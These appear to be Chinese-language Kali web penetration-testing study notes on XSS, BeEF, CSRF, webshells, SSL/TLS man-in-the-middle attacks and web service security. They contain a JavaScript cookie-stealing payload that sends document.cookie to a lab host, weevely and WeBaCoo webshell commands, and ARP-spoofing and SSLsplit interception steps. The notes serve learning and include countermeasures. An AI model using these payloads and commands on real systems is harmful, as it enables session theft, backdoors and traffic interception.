–heuristic:检查被过滤的字符
对payload编码,绕过服务器筛选过滤:
•–Str Use method String.FromCharCode()
•–Une Use Unescape() function
•–Mix Mix String.FromCharCode() and Unescape()
•–Dec Use Decimal encoding
•–Hex Use Hexadecimal encoding
•–Hes Use Hexadecimal encoding, with semicolons
•–Dwo Encode vectors IP addresses in DWORD
•–Doo Encode vectors IP addresses in Octal
•–Cem=CEM Try -manually- different Character Encoding Mutations
• (reverse obfuscation: good) -> (ex: ‘Mix,Une,Str,Hex’)
注入技术(多选):
•–Coo Cross Site Scripting Cookie injection
•–Xsa Cross Site Agent Scripting
•–Xsr Cross Site Referer Scripting
•–Dcp Data Control Protocol injections
•–Dom Document Object Model injections
•–Ind HTTP Response Splitting Induced code
•–Anchor Use Anchor Stealth payloader (DOM shadows!)
•–Phpids PHP - Exploit PHPIDS bug (0.6.5) to bypass filters
•–Doss XSS Denial of service (server) injection
•–Dos XSS Denial of service (client) injection
•–B64 Base64 code encoding in META tag (rfc2397)
•–Onm ONM - Use onMouseMove() event to inject code
•–Ifr Use source tag to inject code

metasploitable XSS漏洞源码分析:
htmlspecialchars() ,输出html编码< >变为< >
xsser -u “http://1.1.1.1/dvwa/vulnerabilities/” -g “xss_r/?name=” --cookie=“security=high; PHPSESSID=d23e469411707ff8210717e67c521a81” --Cem=‘Mix,Une,Str,Hex’
存储型XSS:长期储存与服务器端,每次用户访问都会被执行JavaScript脚本
客户端表单长度限制:F12修改、截段代理

a.js源码:
var img = new Image();
img.src = “http://1.1.1.1:88/cookies.php?cookie=”+document.cookie;

DOM型XSS:
一套JS和其他语言可调用的标准的API

BEFF:
浏览器攻击面:应用普遍转移到B/S架构,浏览器成为统一客户端程序;结合社会工程学方法对浏览器进行攻击;攻击浏览器用户;通过注入的JS脚本,利用浏览器攻击其他网站。
BEFF:生成、交付payload;ruby语言编写;服务器端:管理hooked客户端;客户端:运行与客户端浏览器的JavaScript脚本(hook)。
攻击手段:利用网站XSS漏洞实现攻击;诱使客户端访问含有hook的伪造站点;结合中间人攻击注入hook脚本。
常见用途:键盘记录器、网络扫描、浏览器信息收集、绑定shell、与metasploit集成。
演示页面:http://:3000/demos/basic.html
details:浏览器、插件版本信息;操作系统信息。
logs:浏览器动作:焦点变化、鼠标点击、信息输入。
commands:命令模块:
绿色模块:表示模块适合目标浏览器,并且执行结果被客户端不可见。
红色模块:表示模块不适用于当前用户,有些红色模块也可正常执行。
橙色模块:模块可用,但结果对用户可见(CAM弹窗申请权限等)
灰色模块:模块未在目标浏览器上测试过。
主要模块:Browsers、Exploits、Host 、Persistence 、Network

CSRF(Cross-site request forgery):

与XSS经常混淆,从信任的角度来区分:XSS:利用用户对站点的信任;CSRF:利用站点对已经身份认证的信任。
结合社工在身份认证会话过程中实现攻击:
修改账号密码、个人信息(email、收货地址)
发送伪造的业务请求(网银、购物、投票)
关注他人社交账号、推送博文
在用户非自愿、不知情的情况下提交请求
业务逻辑漏洞:
•对关键操作缺少确认机制
•自动扫描程序无法发现此类漏洞
漏洞利用条件:
•被害用户已经完成身份认证
•新请求的提交不需要重新身份认证或确认机制
•攻击者必须了解Web APP请求的参数构造
•诱使用户触发攻击的指令(社工)
Burpsuite CSRF PoC generator :
• Post/Get 方法
自动扫描程序的检测方法:
•在请求和响应过程中检查是否存在anti-CSRF token名
•检查服务器是否验证anti-CSRF token的名值
•检查token中可编辑的字符串
•检查referrer头是否可以伪造
对策:
• Captcha
• anti-CSRF token
• Referred
•降低会话超时时间

WEBSHELL:

中国菜刀:http://www.maicaidao.co/

可能被IDS、AV、WAF、扫描器软件发现查杀

WeBaCoo (Web Backdoor Cookie)
•类终端的shell
•编码通信内容通过cookie头传输,隐蔽性较强
• cm:base64编码的命令
• cn:服务器用于返回数据的cookie头的名
• cp:返回信息定界符
生成客户端:webacoo -g -o a.php
客户端连接:webacoo -t -u http://1.1.1.1/a.php
其他参数

weevely:
隐蔽的类终端PHP Webshell
30多个管理模块
•执行系统命令、浏览文件系统
•检查服务器常见配置错误
•创建正向、反向TCP Shell连接
•通过目标计算机代理HTTP流量
•从目标计算机运行端口扫描,渗透内网
支持连接密码
Kali缺少库
• https://pypi.python.org/pypi/PySocks/
• ./setup.py install
生成服务端
• weevely generate b.php
• /usr/share/weevely/b.php
客户端连接服务器
• weevely http://1.1.1.1/b.php id
Help

HTTPS攻击:

全站HTTPS正成为潮流趋势:淘宝、百度
HTTPS的作用
• CIA机密性完整性可用性
•解决的是信息传输过程中数据被篡改、窃取
•加密:对称、非对称、单向
HTTPS攻击方法
•降级攻击
•解密攻击(明文、证书伪造)
•协议漏洞、实现方法的漏洞、配置不严格
Secure socket layer SSL
•保证网络通信安全的加密协议
• 1994年由Netscape开发成为统一标准
• 1999年TLS(transport layer security)取代SSL v3
•近年来发现的SSL协议漏洞使业界认为其漏洞已不可软件修复
• Heartbleed、POODLE、BEAST
TLS当前最新版本1.2
TLS/SSL、HTTPS、HTTP over SSL通俗上表示同一含义
SSL/TLS也被用于其他场景的传输通道加密
•邮件传输(服务器间、客户端与服务期间)
•数据库服务器间
• LDAP身份认证服务器间
• SSL VPN
•远程桌面RDP通信过程中的加密和身份认证
WEB通信中的SSL加密:由受信任的第三方公钥颁发机构签名办法:VeriSign、Thawte、GlobalSign、Symantec
握手、协商加密算法、获取公钥证书、验证公钥证书、交换会话密钥、加密信息传输
非对称加密算法:
Diffie-Hellman key exchange
Rivest Shamir Adleman (RSA)
Elliptic Curve Cryptography (ECC)
对称加密算法:
Data Encryption Standard (DES) / 3DES
Advance Encryption Standard (AES)
International Data Encryption Algorithm (IDEA)
Rivest Cipher 4 (RC4)
•WEP TLS/SSL RDP Secure shell

单项加密算法HASH
SHA-3已经设计完成,但尚未广泛使用
SHA-2是TLS 1.2唯一支持的单向加密算法
碰撞攻击针对单向加密算法
•两个不同的文件生成相同的HASH值
SSL的弱点:
SSL是不同的对称、非对称、单项加密算法的组合加密实(cipher suite)
服务端为提供更好的兼容性,选择支持大量过时cipher suite
协商过程中强迫降级加密程度
现代处理器计算能力可以在可接受的时间内破解过时加密算法
购买云计算资源破解

openssl
直接调用openssl库识别目标服务器支持的SSL/TLS cipher suite
openssl s_client connect www.baidu.com:443
openssl s_client -tlsl_2 -cipher ‘ECDH-RSA-RC4-SHA’ -connect www.taobao.com:443
•密钥交换-身份认证-数据加密-HASH算法
openssl s_client -tlsl_2 -cipher “NULL,EXPORT,LOW,DES” -connect www.taobao.com:443 (协商低安全级别cipher suite)
可被破解的cipher suite
• openssl ciphers -v “NULL,EXPORT,LOW,DES”
https://www.openssl.org/docs/apps/ciphers.html
Openssl需要大量密码学相关知识,命令复杂,结果可读性差

SSLScan
•自动识别SSL配置错误、过期协议、过时cipher suite和hash算法
•默认会检查CRIME、heartbleed漏洞
•绿色表示安全、红色黄色需要引起注意
• TLS支持的cipher suite
• sslscan -tlsall www.taobao.com:443
•分析证书详细信息
• sslscan -show-certificate -no-ciphersuites www.taobao.com:443

SSLyze:
• Python语言编写 •检查SSL过时版本 •检查寻在弱点的cipher suite •扫描多站点时,支持来源文件 •检查是否支持会话恢复
sslyze --regular www.taobao.com:443

Nmap
•nmap --script=ssl-enum-ciphers.nse www.taobao.com

https://www.ssllabs.com/ssltest 提供扫描服务的网站,不用使用自己的机器扫描

SSL中间人攻击:

攻击者位于客户端和服务器通信链路中
攻击方式:ARP、DHCP、修改网关、修改DNS、修改hosts、ICMP、STP、OSPF
加密流量
攻击的前提:客户端已经信任伪造证书颁发机构;攻击者控制了核发证书颁发机构;客户端程序禁止了显示证书错误告警信息;攻击者已经控制客户端,并强制其信任伪造证书。

SSL/TLS中间人攻击:

SSLsplit:
•透明SSL/TLS中间人攻击工具
•对客户端伪装成服务器,对服务器伪装成普通客户端
•伪装服务器需要伪造证书
•支持SSL/TLS加密的SMTP、POP3、FTP等通信中间人攻击
利用openssl生成证书私钥
• openssl genrsa -out ca.key 2048
利用私钥签名生成证书
• openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
启动路由
•sysctl -w net.ipv4.ip_forward=1
iptables端口转发规则:
•iptables -t nat -F
•iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
•iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
•iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 #MSA
•iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT -to-ports 8443 #SMTPS
•iptables -t nat -A PREROUTING -p tcp -dport 993 -j REDIRECT -to-ports 8443 #IMAPS
•iptables -t nat -A PREROUTING -p tcp -dport 995 -j REDIRECT -to-ports 8443 #POP3S
•iptables -t nat -L

ARP欺骗:arpspoof -i eth0 -t 1.1.1.2 -r 1.1.1.1
启动SSLsplit:mkdir -p test/logdir 、
sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080 。
被害者访问站点后,查看日志呵浏览器证书及证书报错信息
安装服务器根证书之后再次访问
iptables端口转发规则:iptables -t nat -F 、iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080、iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080 。

mitmproxy:mitmproxy -T --host -w mitmproxy.log

SSLstrip:与前两种工具不同,将客户端到中间人之间的流量变为明文;sslstrip -l 8080。

thc-ssl-dos:
• SSL协商加密对性能开销增加,大量握手请求会导致拒绝服务
•利用SSL secure Renegotiation特性,在单一TCP连接中生成数千个SSL重连接请求,造成服务器资源过载
•与流量式拒绝服务攻击不同,thc-ssl-dos可以利用dsl线路打垮30G带宽的服务器
•服务器平均可以处理300次/秒SSL握手请求
•对SMTPS、POP3S等服务同样有效
对策
•禁用SSL-Renegotiation、使用SSL Accelerator
•通过修改thc-ssl-dos代码,可以绕过以上对策

AJAX:Asynchronous JavaScript and XML

是一个概念,而非一种新的编程语言,是一组现有技术的组合
通过客户端脚本动态更新页面部分内容,而非整个页面
降低带宽使用,提高速度;提升用户体验;后台异步访问。
AJAX组件:
• JavaScript: ajax的核心组件,使用XMLHTTPRequest(XHR)对象接口向服务器发起请求,接收并处理服务器响应数据。
Dynamic HTML (DHTML):
•早于AJAX出现,通过javascript、CSS等在客户端修改HTML页面element,缺点是完全依赖客户端代码修改页面,与服务器的交互由JavaScript applets完成,AJAX的XHR弥补了他的缺点(注册用户)。
Document Object Model (DOM) :
处理html、xml文档对象的框架,DHTML是一个浏览器,DOM作为其一个实现的接口,定义和管理每个页面元素obj的Properties、method、event。
基于AJAX的WEB应用工作流程:
kaliWEB渗透笔记_第2张图片
• XMLHTTPRequest API 创建对象 xmlhttp 进行访问
• Xml、json、html、文本、图片
•多个异步请求独立通信,互不依赖
• AJAX框架: JQuery、 Dojo Toolkit、Google web toolkit(GWT)、 Microsoft AJAX library。

目前没有通用的AJAX安全最佳实践,其攻击面不为大多数人所知
AJAX的安全问题:
•多种技术混合,增加了攻击面,每个参数都可能形成独立的攻击过程
• AJAX引擎是个全功能的脚本解释器,访问恶意站点可能后果严重,虽然浏览器有沙箱和SOP,但可被绕过
•服务器、客户端代码结合使用产生混乱,服务器访问控制不当,将信息泄露
•暴漏应用程序逻辑
AJAX对渗透测试的挑战
•异步请求数量多且隐蔽
•触发AJAX请求的条件无规律
•手动和截断代理爬网可能产生大量遗漏
AJAX爬网工具: ZAP
客户端代码审计 :•源码• Firebug

WEB Service :

•面向服务的架构(service oriented architecture)便于不同系统集成共享数据和功能
•尤其适合不想暴漏数据模型和程序逻辑而访问数据的场景
•无页面也会有安全威胁
两种类型的WEB Service:
• Simple object access protocol (SOAP):
•传统的Web service开发方法,xml是唯一的数据交换格式
•要求安全性的应用更多采用。
• RESTful (Representational State Transfer architecture-REST):
•目前更多被采用的轻量web service, JSON是首选数据交换格式。

WEB Service安全考虑:
使用API key或session token实现和跟踪身份认证
身份认证由服务器完成,而非客户端
API key、用户名、Session token永远不要通过URL发送
RESTful默认不提供任何安全机制,需要使用SSL/TLS保护传输数据安全
SOAP提供强于HTTPS的WS-security机制
使用OAuth或HMAC进行身份验证,HMAC身份认证使用C/S共享的密钥加密 API KEY
RESTful应只允许身份认证用户使用PUT、DELETE方法
使用随机token防止CSRF攻击
对用户提交参数过滤,建议部署基于严格白名单的方法
报错信息消毒
直接对象引用应严格身份验证,例如不能直接通过改URL里的userid参数查看其他用户的界面

你可能感兴趣的:(kali渗透测试学习笔记)